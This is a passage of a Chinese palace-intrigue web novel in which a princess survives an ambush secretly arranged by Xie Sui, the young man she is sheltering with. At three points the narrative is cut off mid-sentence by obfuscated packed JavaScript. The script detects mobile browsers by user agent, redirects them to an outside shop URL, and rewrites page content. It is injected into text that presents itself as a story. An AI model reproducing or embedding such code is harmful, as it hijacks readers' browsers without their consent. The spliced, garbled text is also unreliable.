苍晏的真实身份又不能公开。 冯妙瑜闷了一口酒,虚与委蛇的场面话翻来覆去的说,让人疲惫不堪。好在众人还顾及着明日一早春蒐的事,不到定昏便早早散了。 每年参加田猎的除了朝中文武大臣,还有不少皇室宗亲,他们的营帐都是挨在一起的,守卫森严,三步一哨,五步一岗。 左右明日的田猎与她没什么关系,冯妙瑜又不愿留在猎场应酬那群小“苍晏”们,便向此地的宫人打听起了周边有什么旁的去处。 “这地方偏僻,比不得盛京城里。要说周边还真没什么好去处。不过奴婢听说,八|九里外有个靠河的小渡口,那地方常有商人往来,想来应能游玩一二。”来送热水的宫人想了想,答道。 冯妙瑜吩咐阿玉去找马夫问了详细位置,翠珠正在一旁挑灯芯。虽说营帐内置办的颇为豪奢,入口窗口处都挂了加棉的厚帘防风,但山间营帐到底不比府邸里,风还是从帘子缝隙里挤了进来,吹的烛光摇摇欲坠。冯妙瑜微微蹙眉,又让翠珠多要了几盏灯点上,方才勉强睡下。 骤然到了一个陌生的地方,冯妙瑜这一夜睡得并不是很好。 也是为了避免碰到那群小“苍晏”们,翌日一大早,冯妙瑜换了身不打眼的常服,就带着同样是常服打扮的翠珠和阿玉匆匆出去了。 宫人昨日提到的是个名为云塘的小镇子。 作为小镇来说,车马繁忙,一片盛景。但诚如那宫人所言,若是和盛京相比就要差远了。 春色正好。冯妙瑜拉着翠珠和阿玉在渡口转了好几圈。渡口边纤夫水手,商旅往来繁忙,河面上更是像撒了霜糖一样泛着粼粼的光,琐碎而又平凡,却让人觉得十分安宁。 几人正打算再去别处逛逛,扭头就见五六个锦衣玉冠的年轻公子迎面走来。 倒不是冯妙瑜的眼神有多好,只是这几人的穿着打扮, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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是巧合吗?还是说,她得知了什么消息…… 谢随看她一眼,垂眸按下心里的不安,又不动声色给那酒楼的管事递了个眼神,含糊不清道:“算是吧。” “之前和牙行的管事聊了会。林大人的内弟打算开个药材铺子,盛京的铺面价格实在高昂,林大人就让我来这里打听打听。” 冯妙瑜又看了眼那杯还泛着热气的茶水。 那个人显然刚走没多久。 这间酒楼通往二楼雅座的只有一条楼梯。 可是从她们进入酒楼,到上二楼雅座期间,并没有看见有人离开。 他是在掩饰什么吗? 冯妙瑜不得不去想,谢随究竟是真的来打听铺面价格,还是另有目的了。 “那谢公子打听的结果如何?”冯妙瑜又开口,轻声问道。 她的语气很平静,听不出丝毫的情绪变化。 阳光透过海棠花纹隔扇落在谢随肩头,冯妙瑜就看着他。连她自己都没有意识到,她的眼神里带着淡淡的希冀。 5. 酒楼 “和盛京差不太多。” 谢随轻轻叹了口气,思忖片刻,娓娓道来。 酒楼里的伙计很快端了茶水碗筷上来,冯妙瑜对盛京周边的铺面价格并不了解,不过翠珠管着府里的大小账务,这些东西她再清楚不过。谢随说完后,冯妙瑜身侧的翠珠不着痕迹的冲她点了下头。 但保险起见,冯妙瑜又捡了几处细节问了,谢随一一作答后,她才悄悄地松了口气。 世上有数不尽的谎言与欺瞒,善意的,恶意的,但总会希望那一个人是例外,冯妙瑜打心眼里祈盼谢随待自己是坦诚的,就算有谎言,也是出于善意不得已而为之。 两人又浅浅寒暄一二,那瘦高掌柜亲自带头,奉上了一大桌美食佳肴。因是临时起意,冯妙瑜一行人并未准备避毒银著等物,待阿玉用银针验完毒后,那饭菜都半凉了。 不过味道还是很好的。 尤其那道掌柜自夸全云塘第一的鲜鱼汤,鱼肉鲜嫩弹牙,浓浓的奶白色汤汁上浮着水绿的葱花。 冯妙瑜本来只想避开那几个锦衣公子的同时,顺道吃些东西,却不想此处膳食做的这般精致,她一连喝了三碗,仍是意犹未尽,她又看向那盆鱼汤。 天家规矩森严,食不过三,贪嘴那是要挨嬷嬷训斥的。只是眼下是在宫外,阿玉和翠珠在外间用膳看不到她,就再吃一碗,应该也不打紧的吧? 瓷白的碗端起又放下。 谢随望她一眼。 似乎是困扰极了,女郎柳眉微压,圆溜溜的杏眼在鱼汤和自己的碗间来来回回打转儿。 因今日是偷摸着出来游玩,她穿了件鹅黄衫子,素净极了。没了金玉珠翠压在脑袋上,看起来就是个稚气未脱的小姑娘,粉白的脸颊软乎乎的。谁能想到此人会是大权在握的长公主。 楼下女伶的歌声里忽然被一阵杂乱的碗碟碰撞声盖住了,谢随喜静,不由皱眉。大抵是隔壁的客人喝醉了吧,这里隔音不是很好。 冯妙瑜手上的动作也是一顿,她稍微侧头,那边的说话声无比清晰的传入耳中。 “哈哈,大哥,我说你就别,别取笑小弟了,”一个男子大着舌头说道:“要不是为了前程,谁,谁愿意赶着去讨好那样的女人,争着做那女人的驸马啊。” 另一个声音笑着问道:“那女人当真像传闻中一样?” “容貌上倒不是。她的生母貌美,女儿再怎么说也差不到哪里去。但是其他方面可就……别的不说,原先那二皇子可是把她当亲姐似的敬重,可她呢,竟然陷害自己亲弟弟,实在是恶毒。” “何止是陷害。眼下大家都在传呢,二皇子在路上遇刺身亡那也是她干的。还有她府里的那群面首,你们听说了吗?真不知检点!和这边西春楼里的瘦马又有什么区别。要我家出了这样的,早就一根白绫给吊死完了。” “可不是嘛!既然说到西春楼,左右接下来也无事,不如哥几个去那逛逛……” 谢随倒茶的手并未停,表情有些古怪,显然是听到了隔壁雅座中几人的对话。 面前的鱼汤依旧散发出诱人的鲜香,冯妙瑜却没了胃口,捏着筷子在空中划拉两下,又蔫巴巴落回到碗边。 像是被人拿刀子扎了一样,胸口的旧伤处泛着冷冰冰的痛感,羞耻和愤懑一寸一寸,顺着那道口子灌进心里,冯妙瑜捏着筷子的指尖都发白。 盛京街坊巷子里,那些长舌公婆私底下骂她的话可要比这难听下流几千倍,早该习惯了才是。 可眼下她却觉得格外难堪。 好在谢随是个修养极好的公子,眼中并没有流露出分毫的轻蔑或是不屑,起了个话题,温和道:“殿下接下来有何打算?云塘虽小,倒有几家不错的茶馆戏楼,殿下若有兴趣可以去看看。” 翠珠叫人过来撤走了席面。云塘靠山,山间的气候多变,上一刻还是晴空万里,眨眼的功夫大朵的乌云就自山中飘来,遮住了太阳。眼看要变天了。 冯妙瑜此时也没了游玩的心情,就摇了摇头道:“先回猎场吧,”她看一眼谢随,又问他:“谢公子呢?” “我等骆掌柜办完事……” 谢随本想说等骆掌柜办完事,骆掌柜会顺路稍他去猎场向林大人复命。话说到一半,他却突然打住了。冯妙瑜有些奇怪的望着他,却见他微微抿着嘴唇,好像在想什么的样子。 倒是骆掌柜眼睛转了一圈,他觉得他好像懂自家少爷的意思了。于是一拍脑门猛然道:“哎呀,瞧我这记性。本来说谈完进货的事顺路送公子去猎场的,我这会突然想起来手头还有一桩急事要办,这今晚得宿在云塘。这可怎么办是好?” 他转头看向冯妙瑜,一脸期冀道:“这位姑娘不知要去何处,若您几位顺路的话,可否捎上我家公子?” 一旁的阿玉皱了皱眉,低声对冯妙瑜道:“恕奴婢直言,这不合规矩……” 冯妙瑜摇摇头,抬手示意她不必多言。 “当然可以。正好我们也要去猎场。” 既然冯妙瑜发了话应下了,阿玉也不好再说什么,倒是骆掌柜,背对着冯妙瑜偷偷冲谢随挤了下眼睛,又握拳暗暗比了个鼓劲的手势。 谢随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14357887|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“……” 几人一出酒楼,骆掌柜就像是屁股后面有饿狼追赶一样,连走带跑匆匆告辞了。车夫赶车过来还要一阵,谢随就跟着酒楼的一个小厮去了旁边酒窖取酒。 林侍中嗜酒如命。派谢随来云塘,除了询问铺面的价格,买酒是另一桩要事,甚至比询问价格还要重要。 阴暗的酒窖中,风灯的光明明灭灭。 “大人怎么样了?”谢随低声问道。 “放心,已经在安全的地方了。虽然说他离京多年,但盛京中认识他的人不少,难保不被人认出来。过两日我就安排人送他回东洲,”纵然知道酒窖内没有外人,那小厮还是压低了嗓音,他突然又问:“方才那个是那冯狗的女儿吧,你什么时候和那女人扯上关系了?” 谢随没说话。 “我跟你说,和她扯上关系可没什么好处,别的不提,平远候你知道吧?他在云塘这里还有不少旧部,那一个个的都是亡命之徒,恨她入骨,就等一个下手的机会呢。” 两人说话的声音回荡在酒窖中,谢随的目光平静而又冷淡,他看着墙上映出两道长长的影子,突然笑了。 “也不见得全无好处。跟着那位林大人,天天帮他跑腿送信买东西,一来于社稷朝廷无功,二来也无法帮到大人,与其这样永无出头日的熬着,倒不如跟着她。” 长公主权势煊赫,诚如那几个浪荡子所言,做她的驸马,前途光明。 “你的意思是……”那小厮不由得回头看谢随一眼,风灯照亮他的脸,上面数十道伤口交错纵横,十分狰狞。 “你的人能联系上那些平远候的旧部吧?”谢随就似笑非笑的看着他,“把公主的行踪透露给他们。这事可要做干净了,那位公主可是很谨慎的,难保她事后不会派人查探。” “这太冒险了,大人不会同意你入局的。再说了,到时候你们两之间要是真的闹出感情……” “我意已决,不必多言。”谢随指尖摩挲着那枚羊脂玉佩,突然打断了他的话,“你担心的事情不会发生。” “大人与许家的再造之恩,多年来谢某没齿难忘。自然,也不会忘记了是谁害惨了许家。”说着,他捏紧了那枚玉佩。 许家落得那般凄惨的下场,可害了他们的人却依旧锦衣玉食,活的心安理得,凭什么? 人该为自己做过的事情付出代价。 不知怎么的,谢随突然想起方才她盯着餐食一脸困扰的模样。阳光照在她身上,衬得她的侧脸和脖颈愈发白皙柔软,很漂亮,但他还是更想看到那双眼眸含泪的模样。 6. 苦肉 依旧是那辆青盖小车。车里铺了软绵绵的深蓝花漳绒毯子,老绿檀几案透着淡淡的木香,顶上一盏八角琉璃灯散发柔和的光芒。 此时才刚过正午,即使外面天色阴霾,但是还远远没有到需要点灯的地步。谢随心下觉得有些奇怪,便盯着那盏灯多看了两眼。 七|八里的路程说长不长,说短也不短,总得找些事情来打发了时间。冯妙瑜想起来谢随方才一个人打棋谱玩,想来他大抵喜欢下棋,就叫翠珠拿了棋盘出来。琴棋书画是风雅之物,但凡是世家子女,多多少少都会一些。 野杉子木棋盘,玛瑙云子触手凉滑。谢随看都没看一眼,便选了白子,抬手淡淡道:“请殿下先下。” 倒不是谢随自负。 谢家祖父谢玄嗜棋如命,谢随自记事起就常与谢玄手谈,到了八九岁时,别说同龄人,就是谢府里那些眉毛胡子斑白的老幕僚,能在他手底下撑上一炷香功夫的都没几个。 大不了待会稍稍放点水。 就像平日和林侍中对弈时那样,公主嘛,怎么说都得哄一哄,免得落了她的面子。谢随指间把玩着一枚白色云子,心里懒懒想着。 冯妙瑜就点了点头。 琴棋书画她的确都学过,宫里有专门的嬷嬷夫子指导这些,不过她并不精于此。学这些,说浅些不过是为了应付嬷嬷夫子的考核,说远些,也不过是在外维持一个所谓的天家颜面而已。 细白的手指从酸枝木的棋盒捻了枚黑子,轻轻落在了最中央的天元上。 谢随垂着眼,在心里冷冷嗤笑了两声。 围棋中素来有“金角银边草肚皮”的说法,因棋盘边角处背靠两道天然“屏障”,易守难攻,所以对弈时通常都先抢占边上的星位,一上来就落在天元,不是新手,就是臭棋篓子。 谢随指尖那枚白子随意地落在棋盘上。 待会要怎么放水才能做的自然一点,不叫她察觉到呢。谢随漫不经心地想着。 银铃声清脆,一时间,车内只剩下闲敲棋子的声音。 约莫一炷香功夫后。 谢随捏着白子,看着被冯妙瑜的黑子杀的支离破碎的棋局,难得陷入了沉默。就连看冯妙瑜的眼神都带着一丝的……迷茫。 这他还没有放水呢,她怎么就……下赢了? 冯妙瑜被他盯着有些羞赧,她微微侧脸随手理了下鬓边的碎发,“我并不精通于烂柯之道,谢公子,你不用让我子的。” 可是他真的一子都没让啊。 “路途尚远,不妨我们再来一盘?” 谢随微笑着把白子放进棋盒里,温声问道。 他方才一定是轻敌了。任大功者,不以轻敌①,他竟然会犯这样低劣的错误,谢随在心里摇头唏嘘不已。 冯妙瑜自然没有意见。 反正路途还长,打发时间么。 流风撩起了车帘,空气里带着暴雨前独有的腥湿气,又一炷香时间过去,黑子被人扔进棋盒发出清脆的碰撞声,有如玉碎。 一场厮杀悄无声息落下帷幕。 “你真的不用让着我的……”冯妙瑜也放下白子,一脸认真道。 谢随无意识地舔了下唇边的那颗小痣。 这次换冯妙瑜执白,他执黑,谢随垂眸看着自己被冯妙瑜的白子吃得死死的黑子,棋逢对手,他难得被激起了好胜心。他抬眼看了眼冯妙瑜,竟然有些意犹未尽,“再来一盘?” 他还就不信了。 看来他真的很喜欢下棋啊。 风渐渐地有些冷了,冯妙瑜在心里笑笑,搓了搓手。 她正想回话,天边却猛地炸起一道厚重的闷雷响声。一支羽箭毫无征兆破空而来,狠狠钉在了马车的车壁上。那削尖的箭簇,离那车夫的脑门,就只差半寸! “有埋伏!” “保护殿下!” 那车夫和阿玉翠珠三人几乎同时叫道,车夫猛地一拽缰绳,那马儿似乎也意识到了此乃危急存亡之际,嘶鸣一声,竟抬腿发了疯似的向前狂奔起来。 “殿下,没事吧?”谢随倒吸了口凉气,出言问道。 琉璃灯忽而熄灭了,车内沉入一片灰黑之中。 冯妙瑜摸索着靠在车壁旁坐起身,马车内颠簸极了,好在车壁和地上都铺了厚厚的绒毯,不然指不定要受伤。她瞥了眼灯的方向,强压着心底不安,道:“我没事。” “外面一共有二十七人,全是练家子,配合的极好,绝对不是山匪地痞之流。”阿玉探头望了一眼,麻利的发了信号弹出去。 可是这样的天气,信号弹发出的动响却为雷声所掩,冯妙瑜心里微微一沉。 援军,这一时半会怕是指望不上了。 “我们离猎场还有多远?”她大声问道。 “还有三,三里多。”车夫口齿不清的应答道。 车外传来刀剑相撞的声音,是跟在后面的便衣侍卫们同埋伏之人交手了。 有更多的羽箭被钉在马车车壁上,震得车身好一阵摇晃,胃肠里更是翻江倒海。冯妙瑜突然有些庆幸中午没多喝那碗鱼汤了。 翠珠拎着短剑翻身进来,她匆匆抓起冯妙瑜的外衣披在肩头,言简意赅。 “殿下,这样下去不是办法。对方人数太多,不如由我和阿玉出面下去引开他们,您和谢公子从另一条路先去安全的地方躲起来。” 此时也没有比这更好的主意了。 阿玉和翠珠都是百里挑一的高手,冯妙瑜心里清楚,只有她安全了,她们两人和一众侍卫没有了后顾之忧,才敢放开手脚。 她咬着牙点了点头,“知道了,晚些时候再见。” “是。”翠珠道。 阿玉也冲她点了下头,两人随即掀开车帘,朝外纵身一跃跳上了马背,几个侍卫掩护着她们两人往相反方向跑开。 “人骑马跑了!穿黄衣裳那个!” “在那边!” “哪边?” “蠢货,我说的是那边!追啊!” 冯妙瑜听得马车外叫喊声杂乱的混做一团,风声,雷声,还有马蹄铁落下的声音,车夫又扯住缰绳,马头一转,像是慌不择路了一般,竟直直地冲进了官道旁边的树林里。 林间的地势自然比不得官道平坦。 谢随本想找个机会开 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驭马之人是不在了,马车行驶的速度却不减反增。马儿到底不比人胆大,受了惊吓便下意识的抬腿奔跑,照这个速度下去,要是撞到了什么,或者是失足跌进凹陷的山沟里,人车具亡的后果,谢随根本不愿去想。 从盛京到极边,再从极边回到盛京,其间种种艰难与不易,极边的酷寒和无止无尽的劳役都没能要了他的命,那位大人与许家的恩情,还有那些未能实现的野心抱负—— 他怎么能交待在这种地方。 “得罪了。” 谢随说着,突然一把环住冯妙瑜的侧腰,将她拉扯到自己身前。冯妙瑜几乎是半倒在他怀里,她不由得低低的“啊”了一声,还来不及做出其他的反应,谢随就护着她从疾驰的马车上翻越而下。 林间残留着又厚又密实的积叶,两人顺着地势,翻滚了好几周才勉强停下来。 有谢随在下面垫着,冯妙瑜自然无事,顶多就是手背上擦出了几道小口子,她用手肘支起身子,身下的落叶噗滋噗滋地响着,冯妙瑜抓着衣领干呕了好几声,那种天旋地转的眩晕感才下去些。 “谢公子?你没事吧?” 冯妙瑜没有听到谢随的声音,连忙出声询问道。 谢随半靠在树干上微微地喘了口气,除了被灌木枝条划伤外,大腿上更是一片粘腻。方才翻滚下来的时候似乎有什么东西扎进去了,正巧卡在骨头上,血流如注。也许是因为太痛了,这个时候他的头脑分外清醒。 “我……没事。只是一点小擦伤。”谢随尽量平静地说:“殿下呢?” 后面随时可能有刺客追上来,再说这荒郊野岭的,谁知道前面会有什么?也许会有更多的埋伏,也许会有饥肠辘辘的豺狼野兽。 这种时候带着一个行动不便的伤者,无论是停留在原地等待救援,还是扶着他出去皆非明智之举。若发现他受伤的事情,冯妙瑜肯定会丢下他自己一个人离开的。自己的性命和一个不过几面之缘的陌生人,换了他,他一定会毫不犹豫地选择丢下那个人。 他扶着树干慢慢地起身,远远传来鸟雀凄锐的鸣叫,深林里总有种阴森的湿意,只是站起来这么简单的一个动作,他的额头上就爬满了冷汗。 7. 生辰面 “真的没事吗?” 冷不丁地伸出一只手,轻轻托住他的手肘处。 深林光线黯淡,谢随今日又穿了身深蓝色衣裳,冯妙瑜也是走到近处才发觉谢随的异常。 “这就是你说的一点小擦伤?” 冯妙瑜难得提高了声调。大腿被一根手指粗细的树枝贯穿,这也能叫擦伤,她几乎都要气笑了。 谢随垂着眼没有说话。 总不好说他觉得冯妙瑜会弃他于不顾,所以才故意隐瞒受伤的事。 冯妙瑜半坐在他身边,手边没有趁手的工具,不过好在衣衫已经被枝桠刮蹭开几道口子,她就顺着其中一道撕开他的裤腿。 伤处血流个不停。冯妙瑜倒吸了口凉气,她不敢贸然拔出那根树枝,只能用随身的帕子发带等物,像是捆起一个包裹一样小心翼翼的把他的伤处包住。 目光扫过谢随苍白发青的面庞,冯妙瑜的手都在抖,不知道有没有伤到骨头,以后会不会影响到走路,这样严重的伤势,得亏他能忍得住。 “今日之事都怪我。” 冯妙瑜突然没头没脑地来了一句。 方才那些人显然是冲着她来的。如果谢随今日没有搭她的马车,就不会遇到这样的糟心事,更不会因为救她而落下这样严重的伤势。 谢随勾起唇角勉强笑了笑,他摇头语气轻柔安慰道:“殿下何出此言,这不是您的错。” 都这种时候了,他竟还顾及着宽慰她,冯妙瑜心里的愧疚之意更甚。 她眼中一闪而过的愧意自然没逃过谢随的眼睛。 谢随就在心里淡淡的笑了笑。 一个人的愧疚,如果运用得当,那将会是一柄吹毛断发的绝世宝剑。 天色愈发阴沉了。 “要下雨了。” 冯妙瑜仰头看了一眼还在不断聚集灰厚的云层,谢随这伤要是见了水可就麻烦了。她环视一圈,看到前面的山脚下似乎有一片田庄。 有田庄就说明附近有人居住,怎么说也比留在林子里淋雨强。运气好的话,也许还能碰上个山野郎中或者采药人为谢随处理伤口。 谢随的意识都开始有些模糊了,冯妙瑜伸手搡了下他的肩。 “谢公子,你还能再坚持一会吗?” 她指着田庄的方向给谢随看,低下身子对他道:“我估摸着那边有人居住,我扶着你到那边去避避雨。” 谢随点了点头。 “住在这里的也不知道是什么样的人家,殿下一会先别暴露您的身份。就说我们是过路人,半路上马车出了故障。”他还不忘嘱咐。 “这个我自然知道。” 冯妙瑜说着,伸手去搀扶他。 虽然谢随看起来是一个文弱的书生公子,但毕竟是一个成年男子的重量,等拖着谢随走到那户人家门口时,冯妙瑜整个人累得几乎脱力。 谢随当然也没好到哪里去,他伤在腿上,行走间难免有牵扯到伤处,疼得嘴唇都发青了。 过来开门的是个扎着蓝花头巾的妇人。麦色皮肤上沾着一团雪白的面粉,她起初只是隔着条门缝,十分警惕的打量着冯妙瑜两人,冯妙瑜说明情况后,她又来来回回把两人扫了好几遍,见两人衣着谈吐皆是不俗,并不像是盗贼无赖之流,她才打开门让两人进来避雨。 事实证明,冯妙瑜的抉择还是很明智的。 他们前脚刚刚进了屋里,后脚滂沱大雨倾泻而下,蒙蒙的模糊了山影。 那好心的妇人又帮着喊了郎中过来,此地人家多以打猎和采卖山货为生,那郎中处理起外伤可谓得心应手。 银钱都在翠珠身上,冯妙瑜就摘了耳坠和手镯塞到那妇人手里。那妇人再三推辞,最后还是没能拗得过冯妙瑜的固执。 “这太贵重了。娘子你这么客气做什么,就是随手帮个忙的,这人活着,谁没有需要别人帮衬一下的时候?我家男人以前不小心摔断了骨头也是这样过来的……” 也不知道翠珠阿玉她们现在怎么样了,有没有甩开那些杀手到安全的地方?冯妙瑜有些心不在焉的想着。 那妇人却误会了,她眯起眼睛笑了笑,突然伸手搡了冯妙瑜一把。 “田郎中的医术很好的,不会把你家男人看坏的。你既然这么担心,就进去看看吧,这会人应该醒着。我去给你男人找件换的衣裳来,我瞧他和我儿子身形差不多,应该能穿的下。” 冯妙瑜闻言微微一怔。 她张了张嘴,本想解释说她与谢随并非夫妻,可话到嘴边却又吞回了肚子里。 她和谢随明显不是兄妹,一男一女,被误认为是夫妻也不奇怪。可如果解释说不是夫妻,这样的雷雨天,孤男寡女结伴而行,难免会叫人生疑。 倒不如不解释了。 屋里没有点灯,雨天的屋子里总是沉着淡淡的灰霾。 冯妙瑜走进去的时候,郎中已经离开了,谢随半靠在一张木板床上,脸色依旧是苍白,不过那血好歹是止住了。 “你……” “殿下……” 狭窄的仓房里,一道低迷,一道嘶哑,两个人几乎是同时开口。两道迥然不同的声音碰撞在一起,目光相触,两人皆是微微一愣。 谢随有些不自在的扯了下破碎的衣裳,匆匆盖住半露在外面的半截肩颈。 冯妙瑜迟疑了一瞬,又想起来自己方才直接上手撕扯他衣裳的事情。 虽说当时是情势所迫,但眼下回想起来,却觉得十分暧昧,她长这么大还是头一回同男子这般亲近。何况,对象还是那位谢随谢公子,心跳如雷,冯妙瑜很快扭过头,装作在欣赏窗外的风景。 落雨如帘,无比温柔地分割开了屋内和屋外两个世界。 “还很疼吗?” 这话语刚一问出口,冯妙瑜就后悔了。流了那么多的血,怎么可能不疼。这话说得简直蠢得不能再蠢。 后面是穷凶极恶的杀手,援军不知几时才能赶来,后无退路,前路迷茫,谢随知道她此刻心里一定不好受,“我不疼。” 沉默了片刻,谢随低声补充道:“殿下吉人自有天相,一定不会有事的。” “借谢公子吉言。” 冯妙瑜知道他说这话不过是安慰自己,但因为说这话的人是他,七上八下十分不安的心里便安定了不少。 那妇人很快拿了一套衣裳过来,除了衣裳外,竟然还有两碗面条。 细细长长的白面条乖巧的卧在白底蓝边的粗瓷碗里,荷包蛋水水嫩嫩的,汤里还漂浮着两三根青菜。 那面条做的又细又长,冯妙瑜没见过这样的面食,就好奇的多看了两眼。 谢随也随着冯妙瑜的视线望了一眼,疑惑道:“生辰面?” “今日是我儿子十六岁的生辰,这面都做好了,他却说有事不回家吃饭了,跟他那个死鬼爹一个样子,天天就知道在外面混,这么多我一个人哪里吃得完……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14357889|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >生辰面…… 冯妙瑜挑了一筷子面条。 那味道寡淡极了,当真是地地道道的清汤面。 宫里的面条,不是以炖煮五六个时辰的高汤为底,就是拿肉糜鱼糜制成面条状,更有心巧的御厨将肉汤鲜汁连带着春笋火腿丝一同灌进面条中间做夹心,一口下去春意盎然……冯妙瑜又挑了一大筷子面条吃下去。 胃里又酸又辣,可这分明是碗淡的不能再淡的清汤面。 谢随听见她轻轻地抽了几下鼻子,以为她是娇气,金枝玉叶受不了这种粗茶淡饭,就在心底冷冷地笑了两身。 “公主若吃不惯,没有必要勉强自己的。”谢随道。 冯妙瑜有心事,一时间也没听出来他话语里的轻蔑,片刻后小声问道:“谢公子以往都是怎么过生辰的?也会吃生辰面吗?” “过生辰想来应该都差不多,”谢随想了想,道:“无非是生辰面,许愿,收发贺礼之类的,从早上一直吵闹到晚上。好像也没什么特别的,我母亲做的面条的味道又……要说唯一的好处,大抵只有生辰那日,祖父格外宽容,不会检查我们的功课。” 沉默许久,冯妙瑜轻轻咕囔了句,“可从来没有人想起来过我的生辰。更没有人会为我做一碗生辰面。” “谢公子也和那些人一样,觉得我很讨厌吗?” 她说话的声音低低的,谢随只听到了后面的半句话。 “殿下何必妄自菲薄。” 谢随平静道:“您已是一人之下,万人之上,又何必在乎他人的看法?他们如何看您并不重要,对他们来说,更重要的是您心里如何评判他们。” “谢公子也想要权势吗?” “只怕这世上没几个人能拒绝这两个字的诱惑。”谢随看着冯妙瑜,坦然道:“殿下难道不想要吗?” 冯妙瑜只是安静地望着窗外,浅淡的眼瞳倒映着铅灰的碧落,琉璃一般。 “如果我说不想要,谢公子你会相信吗?” 父皇不疼,母妃不爱,一个一无所有的公主,却又不甘受人操控,不愿木偶一样被家族塞进血红的嫁衣里,最后化作一滩泣血带恨的长诗,湮灭在时间的长河中。 其实无关想与不想,她只是需要权势。 仅此而已。 山野间亮起了一弯星星点点的光亮,也许是来寻找两人下落的侍卫手中的风灯。 带着暖意的光亮,冯妙瑜又想起多年前第一次在城楼上俯瞰盛京夜景时的情景。大地灯火,游人如织,远远飘来饭菜的香气,万家灯火画卷般在她脚下展开,可城墙高楼上的风冷极了。 那个时候她还需要踮着脚才能够到城墙下的景色,从那个时候起她就在想,那样暖的灯火,为何没有一盏是属于她的? 她想要一个家。 没有勾心斗角,没有虚与委蛇,只是一个可以遮风避雨的港湾。 但生在天家,这样的想法注定是奢望。冯妙瑜和张氏浅浅提过一次,被张氏冷冷笑话了句“我怎么会生出这么蠢的女儿”后,她就再没有和任何人提起过了。 “既然殿下这样说,那我自然是相信的。”谢随只是微笑道。 他当然是不信的。 那种醒掌天下权的滋味,如陈年美酒般叫人欲罢不能,正因为曾经失去过,从云端跌落到尘埃里被人狠狠的践踏过,所以才比任何人更加格外渴望重新回到云端。 院子外面,响起了不耐烦的敲门声。 8. 旧梦 朦灰的细雨之中,肃穆银甲兵士们列队排开,长枪枪尖上映着星点火光。 长公主在回猎场路上遇刺一事非同小可。除了戍守猎场的侍卫,就连驻扎在附近的军队都被惊动了。 雨水模糊了视线,冯妙瑜一面扶着行动不便的谢随,一面撑掌挡雨仰头望去。 为首的是个面容威严的年轻男子。国字脸,一身嫩绿色圆领袍,衣袍上大朵的紫红花刺绣格外扎眼。他就坐在马背上望着冯妙瑜,从头看到脚,再从冯妙瑜到被她搀扶着的谢随,他嘴角缓缓挂上了一抹嘲讽似的冷笑。 他身旁那个副官模样的男子咳嗽了几十声,肺都快要咳出来了,那年轻男子才施施然翻身下马。 “末将林修远,见过长公主殿下。” 他又瞥了眼半只手臂搭在冯妙瑜身上的谢随,也没上前搭把手的意思,只皮笑肉不笑道:“看来末将好像来的不是时候啊,没打扰到尊贵的您和这位……公子的‘好事’吧?” 冯妙瑜愣了一下。 她也没想到最先找到自己和谢随的人,竟然是林修远——林家世子,亦是张氏为她挑选中的驸马。 嫩绿,配大红大紫。 冯妙瑜在心里暗暗摇了摇头,只觉得可笑。 这人是有多么害怕被她给瞧上了,才能找出这么一件奇葩的丑衣裳来。想必为找出这么一件衣裳来,家里的箱底都给翻烂了吧。 “果然是什么样的将,领什么样的兵。那领头的人没眼色,底下的人也跟着没眼色。” 冯妙瑜平静地回击道。 担惊受怕了大半日,又这样没由来的被人嘲讽。冯妙瑜的心情已经坏到了极点。她知道林修远是误会了她和谢随的关系。但这个林修远算是她的什么人?八竿子没一撇的人,管的倒多。 “你,你,还有你,过来搭把手。” 她抬起下巴,随意地点了两三个军士出来,“这位公子腿上受了伤,你们当心点。” 虽说本朝风气开明,但女子还是以温柔贤良为上,林家家世显赫,林修远长这么大,从来都只有他阴阳他人的份儿,哪里被其他人冷嘲热讽过—— 何况还是个瞧着一阵风都能吹走的弱女子。 又见冯妙瑜一点都不客气的使唤自己手底下的人,林修远心里那点小火苗,噌噌噌烧得更旺了。 这女子不仅水性杨花,还敢这般无视自己,一副完全不把他放在眼里的模样,真是岂有此理! 他正打算说些更难听的话出来,为自己的尊严找补一下时,一直沉默着的谢随却忽而抢先开口了。 “谢某有愧于长公主殿下善意。” 他腿上有伤不便行礼,只微微颔首致意,依旧是行云流水,世家公子的风骨,雨雾里他的眉眼如画,清远出尘。 就连林修远心里都是微微地一动。 “不过是三两次擦肩之缘,殿下好心送谢某回猎场,若不是因为谢某,殿下今日恐怕还未必遭此横祸……殿下恩情如山,谢某真不知道该如何感激是好。” 他这清清淡淡一番话,既点明了两人的关系,打了个圆场,又说清了今日之事大致的来龙去脉,不可谓不高明。 林修远登时哑然。 竟是他误会她了。林修远抓了抓头发。男子汉大丈夫,敢作敢当……该向她道个歉的。 只是这一路上,他竟没寻到一个机会再同冯妙瑜搭上话。 —— 衣衫上沾染了血与泥,可阿玉却连换身衣裳的心思都没有,捏着手在营帐外来回转了好几十圈,直到看见冯妙瑜完完整整的回来,她一颗提着的心这才放下。 “翠珠呢?”冯妙瑜见她无事,便匆匆问道。 “翠珠姑娘也无大碍。只是胳膊上被流矢擦了道口子,我让她先回去休息了。”阿玉道。 